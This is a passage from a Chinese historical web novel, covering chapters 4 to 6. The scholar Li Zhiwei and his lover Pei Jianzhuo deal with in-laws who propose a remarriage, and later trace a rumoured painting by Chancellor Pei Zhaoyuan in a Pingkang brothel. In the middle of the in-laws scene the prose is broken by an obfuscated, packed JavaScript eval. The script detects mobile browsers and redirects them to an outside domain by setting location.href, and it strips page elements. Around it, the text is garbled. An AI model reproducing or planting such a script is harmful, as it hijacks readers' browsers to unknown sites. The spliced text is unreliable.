他有那样一位声名显赫、炙手可热的兄长。 李知微拿蒲扇拍拍他的肩,裴见濯撑起半身聆听。 蒲扇一遮口耳:“平康坊新开了一家波斯旅邸,听说里头还有波斯衣服可以穿……” 除却天边一朵没黑透的残云,无人听见他被裴见濯吞入腹中的尾音。 “薛家有蒙学,我预备明年送他到那读书,住在他外祖家里,这里太小了,前两天有老鼠窜进来,我还捉了一只小猫。这事儿我不是和你说过吗?你还在吃饭的时候提老鼠吓唬他。” 裴见濯沉默着。 李知微猜测他应该是在想裴家的蒙学能不能让善思进去读书。 裴家八百年簪缨,气贯河东,其底蕴不知比薛家高出多少。 可蒲扇摇晃两下,裴见濯问:“你没想过搬出去住?” 听起来像一种暗示。 “我白天要读书,看不了孩儿,外头人口复杂,并没有这里安全。” 昭文院毗邻宫城,藏有先代典籍,进出皆需严查。若迁至外街,留善思独处,他如何放心。 “雇仆人就是了。” 李知微无奈笑一笑,并没有说话。 何不食肉糜。 裴家都是世代家生子,见濯根本意识不到人口集市的良莠不齐,购买仆役回家容易,调教却难,知微一旦去上学,善思一个小孩在家,若遇见欺主之人,如何为继。 他怎么能赌万一。 更何况,租房屋、买仆役又是一笔钱。 李知微虽然赚得多,但花的也不少,善思被蚊虫叮咬就要生病,因此只能围上透气的鲛绡帐,一尺一千钱,前几天被老鼠咬出小洞,一整床就废掉;晚上安神的乳香,一两更要二千,肌肤敏感,衣物需要特制,还别说他平日里的食药。 一个小官的月俸也不过九百钱,有时候还要用稻米胡椒等实物代替,善思这样的孩子,在多数的家庭就只有一个死字。 他用了很多很多的钱,硬生生把孩子从鬼门关拉了回来。 他不能离开昭文院。 哪怕昭文院毕业了就可以授官也不行,那点薪俸不够他养家。 当然,他还有另一条路—— 裴见濯说:“我给你。” 李知微没说话,他望到见濯腰间的香囊。 不是丝绸也不是皮革,是蛇蜕。 白蛇蛇蜕。 每蛇只取七寸处的一指皮,不知死去多少长虫,耗费多少时光,才能换得这样一个囊袋。 那天他路过西市,看见有人竞拍,比见濯这个小许多,大概是二百万。 就这样陷在雨后尘阶。 供养李知微,对裴见濯来说是轻而易举的事,只需要从指缝里漏出一点。 “我不要。”李知微很认真地对他说,“咱们之间,不谈这个。” 他想要从裴见濯身上得到的,也从来不是有数的金钱,他只要最关键、最重要的东西。 裴见濯被他拒绝,神色晦暗不明,过了半天,他调整好了自己:“你方才说什么波斯衣服?” 李知微也不拘泥,语调轻松:“……我开玩笑的!” “我听人说,波斯人很爱宝石,嘴巴、鼻子,还有肚脐眼上都有镶嵌。” “要是摘下来时喝水,嘴巴不漏吗?”李知微打掉他在自己肚腹周围徘徊的手,“我给你买一块宝石打鼻子上好了,像牛嚼环。” 裴见濯哈哈大笑,忽然孩子气地假扮成一头牛,用根本不存在的牛角把李知微撞倒,两个人叠着对视一瞬,觉得心痒难耐,又觉得幕天席地,最后,见濯投降道:“进去吧,外头有虫子。” “不行!”李知微搂住他的脖子,“香还没燃完呢。” 凭你也想闻我儿子二千一两的安神乳香? 你多闻一下,我儿子就少吸一口! 所以,他们只能在外面再接了一个吻。 白蛇蜕鼓着,又瘪下来。 红宝石漉漉闪光,托在西市商坊柜前的团纹织锦上,吸引来往游人观看。 善思发表了第一个意见:“不要。” “什么?” “外祖不喜欢石头,不要。” 见濯状若无事地收回手,从鼻腔里哼出一个调子,算作回应。 李知微哭笑不得:“嗯,没说要买,外祖、舅舅,还有阿姨都喜欢什么,咱们再买一些送给他们,好不好?” 善思沉默片刻:“他喜欢钱。” 柜后老板忍俊不禁。 奇怪的搭配,两个男人带着一个小孩上街来,说穷吧,不说后头那个高个大人的罗袍,单说这小孩身上穿的桑丝绫,一丈便要三千文,且绫料须祖上出过三品官员才可穿戴,商贾人家,即使富可敌国也不能上身;可说富,哪有贵人家的孩子,天天把那黄白阿堵挂在嘴上的? 况且一个仆人也没有,自己上手拎东西。 不过,把东西卖出去才最要紧。 “整个西市都没比我这儿东西更全的。若说要给老人家买东西,必然要是这避秽香,如今暑热,这里头加了苍术、大黄、苏合,可以清利湿热、辟邪醒神,驱虫最好。” “小郎的舅舅阿姨么,男子爱打马球,小店刚好新到了一支月牙柘杖,上头的花纹都是大师亲绘,保管全永乐城没有第二把,您瞧那握手的牛皮都是纯白的,家中女娘若不喜欢红宝石,小店还有两匹孔雀罗——” “我都要了。” “就是真孔雀也也不上……”老板大喜过望,“好嘞,给您包好送到府上!郎君,您看,小店新到了一颗月光珠,握在手中清凉醒神,可以记诵万物,如今只需……” 小孩再次出声:“不要,舅舅没有马。” 童言无忌,马价如此低廉,没听说过哪个子弟家中无马的,这说不去不叫人笑掉大牙么? 穿白袍的大人果然不在乎,签好单以后,又嘱咐道:“这十匹绢并孔雀罗,还有后头的稻米、胡椒,送到升平坊西门内槐树巷第二间薛家。” “避秽香,送到平康坊南曲波斯邸。” “好嘞,郎君留步,您还有一支马球杖,要送到哪里去?” 白袍男子牵着孩子出门,并不停留,留下红袍郎君转头吩咐:“崇仁坊裴家。” “请问是坊内哪条街哪个巷,光说裴家怕是找不……” 伙计话音未落,就被老板一掌拍到后脑勺:“夯货,崇仁坊还能有哪个裴!” 打完伙计,他又急急冲上前,弯腰道:“郎君留步,这地方咱们怕是送不过去,得您签个条子才行。” 红袍顿住身形,将将后转,拎起笔墨,在礼匣上落下大名。 老板圆睁双目:“这、这是——” “这是我朋友,姓崔。” 四条腿的马赛过两条腿的人,李知微一行到薛家时,布匹米面已经卸下许久,大门口槐树底下,薛家长子薛如明闻言笑得花枝招展:“那我便唤一声崔郎了?” 博陵崔氏,号称华夏第一高门。 还是去昭文院读书好,随便认识个朋友都出自崔氏:“崔郎,久仰、久仰!” 面对薛如明的殷勤,裴见濯露齿一笑,露出唇下微尖:“薛郎也久仰,我常听十六郎说起你。”他握住薛如明的手,摇一摇:“我家就住旁边的昌乐坊,做些染布生意,家里要做衣裳,尽管找我。” “啊?” 薛如明尴尬一笑。 永乐城北贵南贱。昌乐、升平二坊皆在南城,居此者至多不过小官富商,岂有什么大人物。 难道博陵崔氏也如他家般五世而斩,后人竟做起生意了? 这得落魄至何等地步! 他犹豫之际,听李知微帮腔道:“崔郎生长扬州,这两匹孔雀罗,便是崔郎托扬州朋友买的,还便宜不少。” 感情只是碰巧姓崔啊! “那真是多谢崔郎了。”薛如明大失所望,拎起善思,一溜烟跑入堂中,“天这么热,咱别在外头站着说话了,进去吧!” 李知微与裴见濯对望一眼,兀自止不住笑了。 李知微摇头道:“你又捉弄人。” 裴见濯一踢袍子,大摇大摆入了中堂。 薛家二老在当中就坐。 李知微的岳丈薛延祚,乃关中薛氏远支,中年方入仕,现任京畿府九品录事,专司户籍核查。此职油水稀薄却风险不小,辛苦劳碌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349930|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令他未及五十便鬓染星霜;其妻窦氏因长年茹素礼佛,加之中年丧女,亦形容憔悴。 满屋暗淡,唯有他那穿绿抹红的小舅薛如明鲜艳,他今年十八岁,正在族里上学,等待着哪天鸿运当头出仕当官,不过遥遥无期。 这个家庭里还有一个成员,便是李知微的小姨薛妙持,云英未嫁,因有见濯这不速之客,便没有出来。 嫁女嫁高、娶媳娶低。薛延祚两女,长女嫁了这落魄宗室,未待出头便撒手人寰,反赔一大笔嫁妆,可谓投资失败。故而对李知微,他一向不甚热络,只维持两三分面子功夫——送礼是应该的,我女儿嫁到他家里去,还死了呢! 可今日不同。 他并没有计较李知微擅自带来下贱的朋友,辱没他士族的门楣,而是努力遏制住兴奋,平生第一次把善思抱到怀里,让自己的声音像往常那样漫不经心又充满关怀。 “十六郎,瞧你近来又清减了。善思体弱,难为你独力照拂,还时时惦记我们两个老朽,回回捎来这许多东西。其实何苦?我们老了,只盼儿女有个好归宿,吃用穿戴,那都是很不要紧的。” 李知微对岳父不爱戴也不埋怨。 像这世上大多数人那样,薛延祚适合锦上添花,而非雪中送炭。 不过李知微无所谓,这人是妙施的父亲、善思的外祖,妙施不在,他应该帮她照顾好父母,也不能让善思少一个亲人,道理就是这样简单。 “平素未向二老尽孝,二老不怪罪,已是开恩。三幅酷暑,我不晓二老尺寸,只得捎几匹薄绢纨布,还需劳烦弟弟闲时,请裁缝来量体。” 正狼吞糕点的薛如明闻声抬头,眼珠一转:“好说,好说!姐夫你也太客气了。家里本也不缺什么东西,你和善思人来了就好啦。善思来,舅舅带你抽陀螺去。想不想舅舅,嗯?” 连拉带拽的,善思被薛如明领走。 堂中仅剩四人,当然,薛延祚眼里没有铜臭满身的裴见濯。 “这孔雀罗好是好,可按惯例,五品官员及其家眷以上才许穿罗,要么就是宗室皇亲,你送来,也没法穿,真是可惜。” 另一边,李知微的岳母窦氏转过一粒佛珠。 “大人来日自有青云之时,何愁不能穿罗?”李知微颔首致意,“我前几日来时,听娘说小妹在备嫁。女子出嫁是一生大事,可以假官,用罗作嫁衣,谁也不会纠察的。” 善思不能一直跟着他打转,需要和别的亲人接触,李知微必须要帮他维系住亲情。 因此,在岳母说起小女儿要出嫁,却因为家里收治不好陪不起一件好衣裳时,装傻没有必要。 “唉……” 也许是女婿在前,让薛延祚想起了早死的长女,他敲敲桌子、摇摇头、叹叹气,面上就有了一丝哀伤:“不知她有没有她姐姐那样的福分,可以嫁你这样一位好郎君。” “是爹娘不弃,将娘子下嫁,怎么是我的好?” 薛延祚抬起头,看向庭中一对玩闹的舅甥。 “她生下孩儿便走了,让你这样辛苦,想你是个顶天立地的男人,亲自管这些琐事,平白耽误学业。若非如此,你也早就出仕了,何必蹉跎在方寸之地?” 李知微没说话,静静看他。 薛延祚本欲落泪,但实在欠些水分,便揩揩眼睛,弄得旁边的窦氏哀伤起来:“十六郎,娘和你说了吧。” “娘请讲。” “你有没有想过续弦?” 李知微抬起眼睛,正要回答,却被她掐住话音。 “你十五岁考上昭文院,我老夫妇便将女儿嫁给你,说没想过、不图你来日,那是不可能的。我女儿在你家主持中馈,为你生儿育女,也算是克尽妇道,只可惜她无福,看不到你登台拜相的风光,只留下一个儿子,便撒开手去。” 想到曾经梦中的东床快婿,薛延祚终于触景生情,落下泪来。 窦氏更加哽咽。 “善思体弱,来日你若续弦,有了嘉儿玉女,他该如何自处?你也无需赌咒发誓。你是男儿,后宅儿女终由娘子照管。若他被暗里苛待,棉衣藏絮,你从何知晓?” 层层逼问,步步眼泪,李知微很平静发问:“爹娘可是要我今日许下诺来,永不续弦么?” 甩开眼泪,窦氏道:“我薛家是关中名门,读书人望,如何会对你说出如此无礼话来!” 李知微呼出一口气。 窦氏抓住她手上一串檀珠。 “你妹妹已经长成,你选个良辰吉日,把事给办了吧。” 裴见濯挑起一边眉毛。 李知微侧首询问:“娘是说,要我娶小妹为妻?” “是!” 李知微久久不言,窦氏见状,激将道。 “只要你不嫌我家,我家绝不少一分礼节,并出五百贯嫁妆陪送,从今后,你就安心学业,善思有了小姨照顾,我们也能放下心来。” “来日你与你弟弟仕途进取,你妹妹多生养儿女,如此家族兴旺,门楣光耀,我老夫妇死也瞑目。” “——你怎么想呢,知微?” 5. 缃帙第一5 “舆图,卖舆图!永乐城一百零八坊都在其中,东贵西庶、南虚北实,可以走过,不要走错!” “两位郎君好面生,可是进京来应考?我观郎君相貌堂堂,必能高中。郎君留步,我晓得一处地方,可以让郎君——” 朱雀大街以东第三街,便是平康坊,人呼为“北里”,是永乐城第一繁华热闹之地。 不同于翊善、崇仁等市坊遍地都是外戚宗亲、达官显要,稍有不慎便冲撞当涂。平康坊虽毗邻皇城,却是风流薮泽,文君沽酒、红拂夜奔之事不可胜数,更留下无数旅人胡儿痕迹,荟萃之盛,可谓传奇。 这也催生了一种职业,引者。 他们或是永乐城本地闲汉,或是声名未显的伎子,又或是上了年纪的鸨母龟公,每至夏秋之时,便倚门揽客,遇见面生的青年郎君便扑上去恨不得分而食之。 “离秋闱还有一季,此时来平康坊的外乡人,大多是应试举子,不仅才华横溢,更腰缠万贯,若能引得状元来家,留下墨宝名句,后半生衣食无忧不说,史书上也能留得几行名姓,胜过你招揽几百个莽俗粗汉!” 十三岁的周盼盼谨遵鸨母叮嘱,一上午在北曲左顾右盼也收获寥寥,好容易见着两位相貌不凡的年轻男子,顿时三两步赶上前去,一连串说了许多话。 看她说得太急忘了下文,男子还不忘提示她:“可以让我什么?” 男声温雅好听,其人亦韶秀如玉,三伏暑天,冰雪面孔不见一丝暑气。 周盼盼激动道:“可以让您得偿所愿!” 男子一听,来了兴趣:“你是要带我去慈云寺吗?” 这时候,他朋友摇摇头,把住他手臂就要向前。 周盼盼眼见顾客飞走,再顾不得卖关子:“不是的,不是的!您能去我家吗?我家就在边上,我家有——” “我家有裴公照元墨宝真迹!” 二人果然停步。 她的口齿忽而活络起来:“我妈妈姓周,家在北曲,家中宽阔明净,堂宇亦大,上栽奇花仙草,供有裴公墨宝,轻易不示人,若非我与郎君一见如故,也不会说出此事。” 见男子不为所动,她又急切道:“裴公连中三元,又登第他科,郎君不要这彩头吗?” 男子摇头:“谢过娘子美意,不必了。” 周盼盼方感失落,他朋友却来了兴趣:“你说家里有奇花仙草,是什么花?” 周盼盼以为还有希望,自豪道:“是二乔,天下最美的牡丹花!” 声音的主人嗤笑一声,扬长而去。 男子留下来,从袖中摸出一些零钱给她,又安慰道:“娘子往后招揽客人,言辞不宜太过夸饰。若遇较真之人报官追究,反惹麻烦。” “我没有撒谎,是真的,真的有!” 周盼盼声音尚带童稚,尖锐破开人群,穿入二人耳中。 裴见濯冷言冷语:“看他的丑样!” 李知微皱眉:“她引客而已,你生我的气,如何祸及她来。” 裴见濯道:“我说裴照元。” 三个字各带平仄从李知微耳中碾过,一丝希望,一丝期待。 “裴相即便来平康坊,也该是赴南曲宴饮。北曲多是平民小户,他应当不会踏足。再说二乔——自圣人亲临称赞后,天下双色牡丹皆自称二乔。她方才那套说辞,多半是鸨母所授,专骗外乡人耳,莫要放在心上。” 发生过什么,才会让一贯在九天之上的裴相,光临北曲? 见濯并没有上他激将法的当。 他抄起双臂,慢悠悠道:“十六郎如何觉得我在生气?” 蔷薇芬芳漫卷长街,檐角驼铃斟酌浅唱,白石凭空横起一座异域殿堂,中庭喷泉上,以卷发蔽身的赤裎男女挽手搭肩,吸引无数游人驻足称奇,不知谁率先扔出一枚通宝,像对着寺院灵龟祷告那样默念有词。 “谁许你摸那里的,住手!” 哪个积岁老汉在白石胸脯上留下黑手印,被伙计拿着扫帚赶出,浑然不觉两个男子快步穿过他身后,联袂登上二楼,几乎是摔倒在床上。 “你轻一些!” 李知微搂住他的脖子:“我不是没有答应吗?” 见濯的手抚过他脸颊:“我看她是合不了眼了。” 叫我的小女儿嫁给你,不然,我死不瞑目。 手脸一触即分,李知微几乎是温驯地任他施为,裴见濯却如烙饼般摊倒另一侧,横躺着,支起一条腿。 李知微阖起双目:“她为儿女计,有什么好说的。” “那你为什么不答应她?” 很合算的买卖。 李知微非常需要一个人,来照顾自己病弱的孩子。若与小姨成婚,他便可将孩子托付薛家,自己安心在昭文院读书。以他才学,至多一二年即可毕业授官,加之宗室身份,谋个五品致仕并非难事。 更何况,人有时候爱别人,就像在水里抓稻草。 李知微爱善思,因为他只有善思。 如果他可以再有妻子,生下七八个孩儿,恐怕也无暇顾及一个病弱。 娶薛妙持,是对他、对薛家、对孩子都好的万全之策,根本没有拒绝的理由。 他太爱自己的发妻,所以愿意终身不娶? 十对婚姻里面九对半都是李知微与薛妙施这样的盲婚哑嫁,认识三年、相处两年,就是有些患难真情,又如何换来不渝之心。 “难道你这小姨不好?” 是她貌丑无盐,或不能持家? “和她没有关系。” “那和谁有关系?” 面对步步逼问,李知微像在薛家时那样偃了声色。 李知微的生意在昭文院做得这么好,不是没有原因的。黄沙落在泥巴地里,大家看一眼就掠过去,可鲜花不一样,花瓣沾上灰尘,但凡有一点心肝,都要捡起来仔细拂拭。 李知微单单静卧着,周身便无一处不美。 可你说他哪里美,又一下子说不出口,说高不高,说矮不矮,说他痩,匀停有致,说他胖,蜂腰得经手掌寸寸丈量。譬如他额下双眉,不浓不黑,至尾端竟透出淡青,如雨后天边朦胧山色。见濯伸手轻抚,连眉峰都柔软驯顺,或逆或顺,任人拨弄。 看起来没有任何攻击性。 裴见濯不自禁缓和声色:“和我有关系?” 李知微睁开眼睛,裴见濯发现他的睫毛是那样长。 李家祖上的那点鲜卑血统,一瞬间全扔到李知微脸上来了。 纤长,不密也不翘,摇摇欲坠的蝴蝶,受了伤的鸟。 “和你……” 和我也没关系? 见濯盯着他,要一个答案。 李知微不说了,解开见濯衣袍系带。 其实,见濯不愿意想这些。 很没意思。 他从认识李知微的第一天起就知道他有孩子,也曾有一名妻子,持之以恒做鳏夫是为了留在昭文院。灰扑扑的小院子,相依为命的两父子,人很难不生出保护欲。 况且他见过太多假丈夫,李知微这样的真小人,倒一瞬间便夺去他心神。 至于以后,谁知道呢,再说吧! 他的人生感悟很少,其中最重要的一条就是,别想以后。 谁知道以后什么样呢? 你情我愿,很简单的事,是李知微非得把它弄得复杂化。 他不用他的钱,也不用他的身份,五十钱一百钱一笔笔记着过日子,只有见濯能看他的账本,左边列着支出,右边列着收入,他几乎不怎么给自己买东西,那天很难得他在支出栏里看见了衣料痕迹,一丈长,成人的衣服,不是给孩子做的。 过了几天,他们就携手去了平康坊。 见濯甚至还得到了一份小礼物,他不知道这种关系是需要互赠礼物的,李知微说,那就免了吧。 他把见濯惊讶的神情当成礼物。 支出栏里成倍增长见濯的痕迹,李知微有时候懒怠,见濯还帮他记账。 给裴见濯花钱,李知微不计成本。 他在供养我,裴见濯忽生妄念,像供养庑房里那尊亡妻请的金身阿閦佛。 波斯纱丽借蔷薇香风吸引客人注意。抹胸、头纱,布料少得可怜却缀满宝石,艳如鸽血。异域歌谣飘荡,楼下舞正酣热。他指尖掠过李知微脐窝,葡萄藤蔓缠绕纱帐,将二人笼于其内。 嗯,这个房间也是李知微付的钱。 如果和这个人一辈子在一起会怎么样? 反正他挺喜欢这样的。 躺在揉皱潮湿的床单上,他枕臂遐想,将自己塞进那座灰败小院——不行不行,人总不能一辈子住那儿。回裴宅?那座富丽堂皇的府邸,他从未觉自己是主人,倒似暂居的过客。 他把红罩纱覆盖住李知微的脸颊。 绛纱裹玉,肤光皎洁。 “去把善思接回来吧,天底下又不只有薛家设蒙学。” 说罢,见濯想到了善思每周要离开一天的原因。 “我也不是非要……” 李知微浅浅笑起来,吹鼓红纱:“你不觉得很奇怪吗?” “奇怪什么?” “他们对我太好了。” 隔着红纱,见濯抚摸李知微的脸颊:“对你太好?” “善 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“直到上次我去薛家,他们都没再提起过这件事,如明和我说过,二娘已经和窦家子弟议婚,正在准备嫁妆。”隔着细小织孔,李知微吹出一口气,“他自知学力无法科举,要出仕,只能靠人推荐,所需费用不在少数。和我说这件事,是因为二娘高嫁,父母给的嫁妆太多,他心中不甘。” 见濯若有所思。 准备丰厚嫁妆,显然是对二女儿的婚事很满意,必有意外发生,才让他们改变主意,选择将小女嫁给李知微作续弦。 “如果是为了儿子,节约女儿的嫁妆,才作出这个决定,也不至于和你说陪送嫁妆五百贯。”见濯掀开红纱,露出李知微的本来面目,“你娶妻时,他陪了多少嫁妆?” “一百贯。” 见濯挑眉。 他再不食肉糜,也没到不知物价的地步,一百贯还好说,五百贯就是五十万钱,九品小官纯靠俸禄,一辈子也赚不到。 他要是有这么多钱,也不至于举家寄身在升平坊。 他忽生灵犀:“薛延清是他什么人?” 国朝四位宰相之一,同出身关中薛氏的薛延清。 “他名上延下祚,与薛相刚好重合一字,但其实是一堂千里的族兄弟,只是凑巧罢了。” “这么巧?” “无巧不成书。”李知微口吻玩笑,“他三十岁中举以后,一直没有分得官职,直到薛公拜相才分得如今的录事官,估计也是铨选之人误会了。” 裴见濯也玩笑:“说不定,这五百贯嫁妆是薛延清给他的。” 李知微一听,乐不可支。 “薛相清廉高洁,不然圣人也不会让他监察百官。这些年厚嫁之事屡见不鲜,弄得民间生女不举,薛相率先垂范,嫁女仅陪送一百贯,自己都如此,绝不可能花五百贯帮助族兄弟。之前他家有个庄子,大抵是卖掉了,手头宽裕,才多陪送些。” 若说裴照元是天下男子神往楷模,薛延清则俨然若神,即使出身士族豪门,又官拜宰相,一日也不过三味菜而已。 太过艰苦朴素,人人崇拜,却不向往。 对此,见濯冷哼一声。 “风闻奏事、监察百官,说白了就是样子货,人、钱、兵一个没有,即使人在政事堂,也不配当宰相。比起他来,朱宣志寒门小族,尚主管吏部;陶穗是鲜卑后裔,被清流目为索虏蛮夷,对兵部照样如臂使指。薛延清百贯嫁女,不是清廉,是听话。” “他是没出钱,他妻子张氏却额外出了一万贯陪送,更有一架琉璃玳瑁床,专门去慈云寺里开过光,才送到洞房。” 李知微无辜地笑了,表示自己并不知道这些秘闻。 一边笑着,一边把那些话刻进心里。 见濯年纪不大,却因为兄嫂,辈分极大,大到将帝国宰相都当成俗流;寻常士人日日仰望的榜样,在他口里都是寻常。 “这话是没错,他家里有钱,花给女儿应该,花给族弟又是何必?若族人娶妻都要花去他五百贯,即使富可敌国,他也承担不起。” 裴见濯捻弄的手指缓下来。 薛延祚实在太不起眼,若不是名字起得好,这辈子都别想挨上官做;若不是娶了个好妻子,刚好与李知微的主母是姐妹,这个出自昭文院的“贵婿”,也轮不到他头上。 贵婿。 他心里咀嚼过这两个字,将红纱撩起又放下,放下又撩起,像掀盖头一样,最后,又把它覆在李知微脸上。 “这谁知道?” 他不问红纱下的爱人,问自己。 李知微不答,只是等待。 等他开口说裴照元。 当朝首相,总揽庶政,裴见濯的长兄,裴照元。 但到最后,裴见濯缄口不言。 6. 缃帙第一6 日薄黄昏,平康坊内,行人步履匆匆。 除却上元、圣寿这样的大节庆可以彻夜狂欢外,永乐城入夜则宵禁,一百零八坊各闭坊门,任何人不得擅自出入,不然被巡街武侯抓住,须花个一二百钱才得脱身。 平康坊人烟阜盛,前朝又有风流宰相在此居住,房价令人叹为观止,大部分人在此居住不得,下午就要算好时间回家,不敢过多停留。 周盼盼蹲在中曲与北曲交界处望眼欲穿。 今日她不曾揽得一人进家,若妈妈知道,肯定罚她不许吃饭。 她尚且年幼,并不到卖身的年纪,对于食物的渴求胜过一切,很偶尔地,她会悄悄跑到南曲,期盼能遇见传说中美胜天仙的都知娘子,以此作为蓝本,幻想自己来日。可惜一切梦想在回到卑陋的北曲以后消失不见,臭水沟终日散着酸败气息,让人闻之欲呕。 这也不能怪她! 妈妈要她找那风流举子,可是能提前三月进京的举子郎君必然家产丰厚,上赶着去南曲一掷千金,请都知娘子为他们联络高官还来不及,再不济也要去中曲潇洒,愿意来北曲取乐的,怕只有那些最粗鄙的行脚伙夫! 她又渴又饿,又在北曲看到了自己十年、二十年后的未来,一时间泪满双颊。 正啜泣间,一块帕子递了过来。 柔软,洁净,她惊讶地抬起头,发现了一个熟人:“您?” 白日里见过的举子郎君笑靥温柔,手牢牢牵着一个小男孩:“我父子在坊内游玩,一时忘了时辰,眼见黄昏宵禁,不便归家,不知能否在女娘家中借宿一晚?” 他旁边那个穿红衣服的呢? 周盼盼来不及多想,一跃而起:“郎君请和我…您,您知道我家是干什么的吗?” 她们称鸨母为妈妈,妓院为家,可妈妈不是妈妈,家也不是家。 男子微笑道:“我知道,只是歇个脚而已。” 周盼盼望着他身边金玉一样的男童,皮肤白到在黄昏时刻也发光,仿佛是月亮先临人间再上枝头,心中实在不忍,推拒道:“中曲有不少旅店,更合郎君身份些。” 饿一顿便饿一顿吧。 北曲条件简陋不说,来寻乐之人喝多了上头,打架斗殴、偷窃抢劫那都是常有之事,若惊吓到了小童,可如何是好? 他想必也是可怜我,知道我回去以后要挨打受饿,才来照顾我的生意:“我家太远了,郎君和小郎另找他处吧。 ” 男子微笑道:“近些旅店易得,裴公墨宝难求。” 明明是他花钱,却说得好像周盼盼帮了他天大的忙一样:“孩儿不懂事,听我说这里有裴公墨宝,便千方百计央我要看。我想,若是能让他自小受裴公熏陶,也是好处,便又来找姑娘。” “原来是这样,您和我来!” 还好我没回家,不然他找不到我了! 周盼盼大感庆幸,弓着腰在前面引路。 一路行来,一路昏暗,景色也越来越破败。中曲尚有人愿意栽花种树,北曲便连一丝绿意也不见,哪怕飞鸟偶尔掠过排泄带出种子,不等发芽,也被人赤脚碾过。 坊墙阴影处,稍不留心就能瞥见随地排泄的醉汉,破衣烂衫的乞儿在中曲讨得一天饭钱,安闲躺在檐下。一盏灯也不见,唯有天边月亮遥挂,周盼盼脚步又轻又快,几乎是腾空踩着,将父子俩带到周家。 周家门第冷清。 她妈妈在北曲也算“有名”,并不像其他鸨母一样只要给钱就接,保得姑娘们各个齐头整脸,没有病症。 但坏处就是,没人。 其他人应该也是空手而归,周盼盼敲开家中大门时,堂中四五个女娘都齐齐拥上,又止住脚步:“怎么还有个小孩儿?” “啊呀我的盼盼,怎么是个带把的你都拽呀!” “哈哈哈哈……” 蓦然见了这么多大人,小孩儿不惊不语。 隔壁醉汉声音弹到坊墙,传至耳畔。 “大采!我中大采了!上酒!” “去你的驴狗货,给我送的是什么破东西,老子要酒,酒!” 一声痛呼,隔壁女娘的后脑袋砸住隔墙,“咚”一声闷响,众人见怪不怪,仅剩下唏嘘庆幸。 李知微亦不起波澜:“周娘子,请带我去看裴公墨宝吧。” 听了他的来意,众女歇下心思:“原来是为这个。盼盼,你是真不怕死呀!” 周盼盼深吸一口气,躬身道:“郎君请。” 色赌双行,隔壁沸反盈天,李知微带着善思上楼观看时,发现大门被敲开,额头还在流血的妓女口齿模糊地哀求道:“求姐姐们好心,卖我一竿酒。” 善思听见声音,正要往后看,却被父亲轻轻叩住后脑:“看脚下。” 他就不言不语地往前走。 周家构造简单,一楼大堂做些沽酒献艺的明面营生,二楼则分隔六七间房供姑娘们使用。回廊壁上有艳情彩绘,周盼盼屏息凝神,唯恐这小孩左顾右盼,谁知道他爹让他“看脚下”以后,他就专心致志着只看脚下。 真听话啊。 她松一口气,来到走廊尽头,打开房门:“裴公的墨宝就供奉此处。” 居室尽头,锦帷幕后,挂着一卷画轴。 李知微想过所谓的“裴公墨宝”是什么东西。 有可能是一眼就假冒伪劣的代笔之作,也有可能是北曲妓子不知从哪里偷来再悄悄拓印的模版,还有可能这女孩儿和他玩心眼,说是裴照元,实则是裴罩原。 甚至可能没有字画,偷来的一支笔,算作蘸了“墨”的“宝”。 毕竟裴照元有一次打马过街时遗落手帕,都叫出千金之价。 但也有万分之一的可能,真是裴照元亲笔。 李知微赌这万分之一的可能。 毕竟裴见濯听见此事的表情不太寻常。 李知微晓得裴家兄弟向来不大对付,准确来说,是裴见濯单方面和比他大了快二十岁的兄长作对,背后原因不难猜测。 裴照元实在太过优秀了。 任凭是谁,只要稍有心气,就不会乐意在兄长的阴影中度过一生。 可要超过兄长,又何其困难。 他连婚姻都如此完美,尚主以后,哪怕公主多年无出,也没有妾室,还发誓不生异腹之子。 这样一个人,被指认曾在平康坊最下贱的北曲留下痕迹,与恶徒囚犯同堂狎妓,他的弟弟会怎么想? 猎奇、恼怒、追查、得意。 而不是像裴见濯那样,摆出厌恶的神情。 在他的眼里,裴照元干得出这种事。 或者说,他知道裴照元干过这种事。 即使裴见濯对兄长之事一言不发,信息还是能从他眼角眉梢流露出来,为李知微所捕获。 可他没想到。 周盼盼拉开锦帷,传说中的“裴照元墨宝”,竟是一幅仕女图。 李知微愣在当场。 他不懂画,也没听说过裴照元在画画上也有过什么轶事,因此无法鉴定是否真迹,只能往前走两步,试图将这画看出什么破绽来。 仕女图,图上的女子自然是美的,眉如远山,目如秋水,身在淇水之畔,衣若九天之云,仿佛下一秒便要乘风归去。 实在是…… 实在是,太俗套了。 一自楚王惊梦断,人间无路可相逢。 将妓子比作巫山神女,将交/合比作行云布雨,就连佛家也有锁骨菩萨度人传说,妓女归往九天,嫖客抽身而去,裴照元不可免俗地来狎妓,狎完,不可免俗画一副俗画,美化皮肉交易。 “这就是裴公墨宝?” 大抵是他说话向来和睦,周盼盼又十分心虚,抖道:“是、是!” 李知微忽觉大失所望。 这就是裴照元啊! 他有些失落地理解了见濯的脸色,又无法在画中获取任何信息,只能勉强笑笑,准备带善思离开。 就在这时,周盼盼忽然上前,指着画中女子道:“我妈妈说了,这一点,真的是裴公当年亲点,整幅画都活了过来!” 李知微驻足:“这一点?” 周盼盼道:“是啊,这一点。您看,这美人脖子上的一点,就是裴公点的,我没骗您!”怕李知微不信,她又急道:“我妈妈年轻时也是南曲都知娘子…帐下的丫鬟,本已从良多年,迫于生计,才来北曲安家,您看我家都比旁的清净,足见我妈妈的教养,您要是不信,我请她来与您面证!” 原来只有这一点。 原来裴照元的“墨宝”,只有这一点。 怪不得周盼盼引他上楼的时候,旁边的妓子都在笑。 若是此刻是个真心想瞻仰裴照元墨宝的人来,看到这一点红痕,怕不是要把整个周家给掀了。 李知微哭笑不得,又觉得这一点点落,几乎长成了模版的神女,变成了一个具体可指的人。 裴照元在落下这一笔的时候,正想着一个脖上有红痣的女人。 李知微摸摸自己的脖子:“不用,我相信你。想来也是你妈妈在南曲都知帐下时,得到了裴公的点化。” 周盼盼连连点头:“是、是!而且这也是要机缘的,我敢说整个平康坊,都没有他一点墨,我妈妈说,他是那天很高兴,您看落款。” 甲辰年辛未月庚子日。 十八年前,七月初一。 